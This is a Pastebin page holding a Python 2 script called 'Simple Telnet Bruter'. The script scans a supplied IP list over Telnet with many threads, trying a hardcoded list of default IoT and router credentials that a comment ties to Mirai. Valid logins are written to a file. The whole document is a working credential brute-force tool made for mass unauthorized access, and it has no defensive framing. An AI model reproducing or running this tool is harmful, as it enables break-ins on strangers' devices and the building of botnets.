Advertisement
LNO_LiGhT

Simple Telnet Bruter

May 4th, 2017
6,062
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.88 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Simple Telnet Bruter | By; LiGhT
  3. # Lots of false possitives but pulls alot of results extremely fast
  4.  
  5. import threading
  6. import sys, os, re, time, socket
  7. from Queue import *
  8. from sys import stdout
  9.  
  10. if len(sys.argv) < 4:
  11.     print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  12.     sys.exit()
  13.  
  14. combo = [
  15.     "support:support",
  16.     "root:vizxv",
  17.     "root:xc3511",
  18.     "telnet:telnet",
  19.     "root:root",
  20.     "supervisor:zyad1234",
  21.     "root: ",
  22.     "admin:1234",
  23.     "user:user",
  24.     "root:antslq",
  25.     "admin:admin",
  26.     "root:5up"
  27. ]
  28.  
  29. ips = open(sys.argv[1], "r").readlines()
  30. threads = int(sys.argv[2])
  31. output_file = sys.argv[3]
  32. queue = Queue()
  33. queue_count = 0
  34.  
  35. for ip in ips:
  36.     queue_count += 1
  37.     stdout.write("\r[%d] Added to queue" % queue_count)
  38.     stdout.flush()
  39.     queue.put(ip)
  40. print "\n"
  41.  
  42.  
  43. class router(threading.Thread):
  44.     def __init__ (self, ip):
  45.         threading.Thread.__init__(self)
  46.         self.ip = str(ip).rstrip('\n')
  47.     def run(self):
  48.         username = ""
  49.         password = ""
  50.         for passwd in combo:
  51.             if ":n/a" in passwd:
  52.                 password=""
  53.             else:
  54.                 password=passwd.split(":")[1]
  55.             if "n/a:" in passwd:
  56.                 username=""
  57.             else:
  58.                 username=passwd.split(":")[0]
  59.             try:
  60.                 tn = socket.socket()
  61.                 tn.settimeout(8)
  62.                 tn.connect((self.ip,23))
  63.             except Exception:
  64.                 tn.close()
  65.                 break
  66.             try:
  67.                 hoho = ''
  68.                 hoho += readUntil(tn, "ogin:")
  69.                 if "ogin" in hoho:
  70.                     tn.send(username + "\n")
  71.                     time.sleep(0.09)
  72.             except Exception:
  73.                 tn.close()
  74.             try:
  75.                 hoho = ''
  76.                 hoho += readUntil(tn, "assword:")
  77.                 if "assword" in hoho:
  78.                     tn.send(password + "\n")
  79.                     time.sleep(0.8)
  80.                 else:
  81.                     pass
  82.             except Exception:
  83.                 tn.close()
  84.             try:
  85.                 prompt = ''
  86.                 prompt += tn.recv(40960)
  87.                 if ">" in prompt and "ONT" not in prompt:
  88.                     success = True
  89.                 elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  90.                     success = True             
  91.                 else:
  92.                     tn.close()
  93.                 if success == True:
  94.                     try:
  95.                         os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  96.                         print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  97.                         tn.close()
  98.                         break
  99.                     except:
  100.                         tn.close()
  101.                 else:
  102.                     tn.close()
  103.             except Exception:
  104.                 tn.close()
  105.  
  106. def readUntil(tn, string, timeout=8):
  107.     buf = ''
  108.     start_time = time.time()
  109.     while time.time() - start_time < timeout:
  110.         buf += tn.recv(1024)
  111.         time.sleep(0.01)
  112.         if string in buf: return buf
  113.     raise Exception('TIMEOUT!')
  114.  
  115. def worker():
  116.     try:
  117.         while True:
  118.             try:
  119.                 IP = queue.get()
  120.                 thread = router(IP)
  121.                 thread.start()
  122.                 queue.task_done()
  123.                 time.sleep(0.02)
  124.             except:
  125.                 pass
  126.     except:
  127.         pass
  128.  
  129. for l in xrange(threads):
  130.     try:
  131.         t = threading.Thread(target=worker)
  132.         t.start()
  133.     except:
  134.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement